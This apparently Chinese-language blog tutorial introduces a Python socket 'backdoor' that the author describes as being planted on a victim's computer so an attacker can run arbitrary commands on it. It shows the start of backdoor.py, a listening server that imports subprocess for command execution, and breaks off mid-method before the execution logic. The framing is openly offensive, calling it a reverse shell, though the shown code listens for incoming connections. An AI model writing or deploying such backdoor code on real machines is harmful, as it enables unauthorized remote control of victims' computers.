下面给出一个基于socket实现的反向shell攻击,或者叫做控制工具吧,简单点说来就是在“受害者”电脑上留一个后门,“攻击者”可以通过这个连接这个socket实现在“受害者”电脑上执行各种指令,再直白一点就是一个socket通信的实例而已。
“受害者“端(后门):backdoor.py,这里充当一个socket服务端程序,主要实现连接的的监听、数据的收发和处理以及指令的执行
#!/usr/bin/python import socket import subprocess import select import sys class BackDoorServer(object): def __init__(self, port): self.port = port self.srvsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.srvsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.srvsock.bind(("", port)) self.srvsock.listen(100) self.descriptors = [self.srvsock] self.sockInfoList = [] print 'Listening on port %s' % port def run(self): while True: # 等待一个可读的socket事件 try: